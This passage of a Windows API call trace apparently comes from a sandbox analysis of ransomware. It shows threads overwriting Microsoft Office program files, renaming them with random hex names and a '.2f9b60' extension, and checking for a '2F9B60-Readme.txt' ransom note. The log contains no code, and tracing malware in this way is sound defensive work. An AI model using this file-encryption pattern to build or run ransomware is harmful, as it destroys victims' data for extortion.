Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\2f9b60-readme.txt")) returned 0x20 [0205.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30770) returned 1 [0205.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4410) returned 1 Thread: id = 856 os_tid = 0x1408 [0101.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp")) returned 0x20 [0102.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", dwFileAttributes=0x20) returned 1 [0102.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1628 [0102.461] GetFileSizeEx (in: hFile=0x1628, lpFileSize=0x2380f8a0 | out: lpFileSize=0x2380f8a0*=939) returned 1 [0102.461] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x3a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.461] ReadFile (in: hFile=0x1628, lpBuffer=0x2380f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2380f868, lpOverlapped=0x0 | out: lpBuffer=0x2380f820*, lpNumberOfBytesRead=0x2380f868*=0x4, lpOverlapped=0x0) returned 1 [0102.502] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0102.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0102.502] NtQuerySystemTime (in: CurrentTime=0x2380f760 | out: CurrentTime=0x2380f760*=132462177080218000) returned 0x0 [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x1678e954 [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x7b1c2495 [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x4d792c63 [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x14743233 [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x2246bb1d [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x3fe47f7a [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x4f3645fb [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x65aa7037 [0102.502] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x7d2f2466 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x4db7fc80 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x5c25090 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x472af982 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x5fae21a2 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x714a6781 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x45c1a252 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x24d46415 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x7feef116 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x363076ba [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x5f7e6a5f [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x56eb3e36 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x524f4799 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x2a58c29f [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x630f8cbb [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x34a96b97 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x6a5b28a7 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x372e11ee [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x79d317c8 [0102.503] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x2bfb887d [0102.504] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x1ceb550e [0102.504] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x6f15c2cb [0102.504] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0x6faa1650 [0102.504] RtlRandomEx (in: Seed=0x2380f750 | out: Seed=0x2380f750) returned 0xbff8b42 [0102.519] ReadFile (in: hFile=0x1628, lpBuffer=0x20486ac0, nNumberOfBytesToRead=0x3ab, lpNumberOfBytesRead=0x2380f750, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesRead=0x2380f750*=0x3ab, lpOverlapped=0x0) returned 1 [0102.519] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.519] WriteFile (in: hFile=0x1628, lpBuffer=0x2048a6d0*, nNumberOfBytesToWrite=0x3ab, lpNumberOfBytesWritten=0x2380f754, lpOverlapped=0x0 | out: lpBuffer=0x2048a6d0*, lpNumberOfBytesWritten=0x2380f754*=0x3ab, lpOverlapped=0x0) returned 1 [0102.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0102.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0102.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0102.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048a6d0) returned 1 [0102.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20486ac0) returned 1 [0102.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0102.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262090 [0102.963] SetFilePointerEx (in: hFile=0x1628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.964] WriteFile (in: hFile=0x1628, lpBuffer=0x4205aad0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2380f870, lpOverlapped=0x0 | out: lpBuffer=0x4205aad0*, lpNumberOfBytesWritten=0x2380f870*=0x10a, lpOverlapped=0x0) returned 1 [0103.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0103.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0103.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0103.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0103.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0103.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0103.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0103.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0103.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0103.370] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="69") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="e7") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="dc") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="65") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="56") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="0f") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="ef") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="8f") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="bb") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="e3") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="28") returned 2 [0103.370] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="ef") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="0a") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="f1") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="5e") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="3d") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="ff") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="b4") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="e1") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="de") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="14") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="dc") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="cd") returned 2 [0103.371] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="c3") returned 2 [0103.371] RtlInitAnsiString (in: DestinationString=0x2380f8e8, SourceString="69e7dc65560fef8fbbe328ef0af15e3dffb4e1de14dccdc3" | out: DestinationString="69e7dc65560fef8fbbe328ef0af15e3dffb4e1de14dccdc3") [0103.371] RtlAnsiStringToUnicodeString (in: DestinationString=0x2380f8b8, SourceString="69e7dc65560fef8fbbe328ef0af15e3dffb4e1de14dccdc3", AllocateDestinationString=1 | out: DestinationString="69e7dc65560fef8fbbe328ef0af15e3dffb4e1de14dccdc3") returned 0x0 [0103.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5a20 [0103.371] wcscat (in: _Dest=0x4205c6f0, _Source="69e7dc65560f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\69e7dc65560f") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\69e7dc65560f" [0103.371] wcscat (in: _Dest=0x4205c6f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\69e7dc65560f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\69e7dc65560f.2f9b60" [0103.371] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\69e7dc65560f.2f9b60", NtPathName=0x2380f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\69e7dc65560f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x108140 [0103.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 [0103.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053460) returned 1 [0103.798] NtQueryInformationFile (in: FileHandle=0x1628, IoStatusBlock=0x2380f8f8, FileInformation=0x2380f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2380f8f8, FileInformation=0x2380f908) returned 0x0 [0103.799] NtSetInformationFile (FileHandle=0x1628, IoStatusBlock=0x2380f8f8, FileInformation=0x2380f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0104.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5a20) returned 1 [0104.456] FlushFileBuffers (hFile=0x1628) returned 1 [0104.555] CloseHandle (hObject=0x1628) returned 1 [0104.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x204ff7d0 [0104.581] wcscpy (in: _Dest=0x204ff7d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0104.581] wcscat (in: _Dest=0x204ff7d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" [0104.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\2f9b60-readme.txt")) returned 0x20 [0104.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7d0) returned 1 [0104.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a44a0) returned 1 Thread: id = 857 os_tid = 0x140c [0101.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl")) returned 0x20 [0101.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL", dwFileAttributes=0x20) returned 1 [0101.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1700 [0101.811] GetFileSizeEx (in: hFile=0x1700, lpFileSize=0x24f4fa00 | out: lpFileSize=0x24f4fa00*=31013) returned 1 [0101.811] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x7921, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.811] ReadFile (in: hFile=0x1700, lpBuffer=0x24f4f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24f4f9c8, lpOverlapped=0x0 | out: lpBuffer=0x24f4f980*, lpNumberOfBytesRead=0x24f4f9c8*=0x4, lpOverlapped=0x0) returned 1 [0102.113] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b7d0 [0102.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0102.114] NtQuerySystemTime (in: CurrentTime=0x24f4f8c0 | out: CurrentTime=0x24f4f8c0*=132462177076318000) returned 0x0 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0xbc7f622 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x31d3c892 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x44c4eef4 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x3a0f42a8 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x378dadc8 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x8e3e06d [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x32f8d830 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x4be2987b [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x5883e2d7 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x6e8d5fd6 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x2a273292 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x4bc9292b [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x1ba7e0f0 [0102.114] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x30028bd0 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x34fb91d1 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x6d9bc701 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x3438a646 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x1a46cf47 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x54592a76 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x7783579f [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x3ed65df4 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x64642ff3 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x4c64a6b4 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x65bfc8b7 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x7e7fb1a3 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0xab0abd1 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x2b183fba [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x6f8e5147 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x18f9b11a [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0xf22c295 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x3927e255 [0102.115] RtlRandomEx (in: Seed=0x24f4f8b0 | out: Seed=0x24f4f8b0) returned 0x35ba3a46 [0102.129] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.129] ReadFile (in: hFile=0x1700, lpBuffer=0x1ce869f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24f4f920, lpOverlapped=0x0 | out: lpBuffer=0x1ce869f0*, lpNumberOfBytesRead=0x24f4f920*=0x3c00, lpOverlapped=0x0) returned 1 [0102.206] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0102.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0102.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0102.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce68970 [0102.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0102.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859490) returned 1 [0102.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0102.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.207] WriteFile (in: hFile=0x1700, lpBuffer=0x1ce68970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24f4f920, lpOverlapped=0x0 | out: lpBuffer=0x1ce68970*, lpNumberOfBytesWritten=0x24f4f920*=0x3c00, lpOverlapped=0x0) returned 1 [0159.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68970) returned 1 [0159.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce869f0) returned 1 [0159.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fc70 [0159.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf20 [0159.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f00 [0159.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cf0 [0159.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2cf0) returned 1 [0159.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9e8f0 [0159.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cf0 [0159.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d20 [0159.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2d20) returned 1 [0159.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f00) returned 1 [0159.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf20) returned 1 [0159.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x167160 [0159.094] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.094] WriteFile (in: hFile=0x1700, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x24f4f9d0, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x24f4f9d0*=0x114, lpOverlapped=0x0) returned 1 [0162.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0162.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0162.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6a50 [0162.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0162.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197a0 [0162.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197a0) returned 1 [0162.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x42058790 [0162.682] sprintf (in: _Dest=0x42058790, _Format="%c%c" | out: _Dest="76") returned 2 [0162.683] sprintf (in: _Dest=0x42058792, _Format="%c%c" | out: _Dest="47") returned 2 [0162.683] sprintf (in: _Dest=0x42058794, _Format="%c%c" | out: _Dest="e1") returned 2 [0162.683] sprintf (in: _Dest=0x42058796, _Format="%c%c" | out: _Dest="7c") returned 2 [0162.683] sprintf (in: _Dest=0x42058798, _Format="%c%c" | out: _Dest="64") returned 2 [0162.683] sprintf (in: _Dest=0x4205879a, _Format="%c%c" | out: _Dest="56") returned 2 [0162.683] sprintf (in: _Dest=0x4205879c, _Format="%c%c" | out: _Dest="ee") returned 2 [0162.683] sprintf (in: _Dest=0x4205879e, _Format="%c%c" | out: _Dest="a2") returned 2 [0162.683] sprintf (in: _Dest=0x420587a0, _Format="%c%c" | out: _Dest="ec") returned 2 [0162.683] sprintf (in: _Dest=0x420587a2, _Format="%c%c" | out: _Dest="ab") returned 2 [0162.683] sprintf (in: _Dest=0x420587a4, _Format="%c%c" | out: _Dest="4e") returned 2 [0162.683] sprintf (in: _Dest=0x420587a6, _Format="%c%c" | out: _Dest="ca") returned 2 [0162.683] sprintf (in: _Dest=0x420587a8, _Format="%c%c" | out: _Dest="bf") returned 2 [0162.683] sprintf (in: _Dest=0x420587aa, _Format="%c%c" | out: _Dest="a5") returned 2 [0162.683] sprintf (in: _Dest=0x420587ac, _Format="%c%c" | out: _Dest="96") returned 2 [0162.683] sprintf (in: _Dest=0x420587ae, _Format="%c%c" | out: _Dest="1e") returned 2 [0162.683] sprintf (in: _Dest=0x420587b0, _Format="%c%c" | out: _Dest="f7") returned 2 [0162.683] sprintf (in: _Dest=0x420587b2, _Format="%c%c" | out: _Dest="da") returned 2 [0162.683] sprintf (in: _Dest=0x420587b4, _Format="%c%c" | out: _Dest="9e") returned 2 [0162.683] sprintf (in: _Dest=0x420587b6, _Format="%c%c" | out: _Dest="07") returned 2 [0162.683] sprintf (in: _Dest=0x420587b8, _Format="%c%c" | out: _Dest="5b") returned 2 [0162.683] sprintf (in: _Dest=0x420587ba, _Format="%c%c" | out: _Dest="18") returned 2 [0162.683] sprintf (in: _Dest=0x420587bc, _Format="%c%c" | out: _Dest="5b") returned 2 [0162.683] sprintf (in: _Dest=0x420587be, _Format="%c%c" | out: _Dest="8b") returned 2 [0162.683] sprintf (in: _Dest=0x420587c0, _Format="%c%c" | out: _Dest="0f") returned 2 [0162.683] sprintf (in: _Dest=0x420587c2, _Format="%c%c" | out: _Dest="c2") returned 2 [0162.684] sprintf (in: _Dest=0x420587c4, _Format="%c%c" | out: _Dest="95") returned 2 [0162.684] sprintf (in: _Dest=0x420587c6, _Format="%c%c" | out: _Dest="25") returned 2 [0162.684] sprintf (in: _Dest=0x420587c8, _Format="%c%c" | out: _Dest="fa") returned 2 [0162.684] sprintf (in: _Dest=0x420587ca, _Format="%c%c" | out: _Dest="8c") returned 2 [0162.684] sprintf (in: 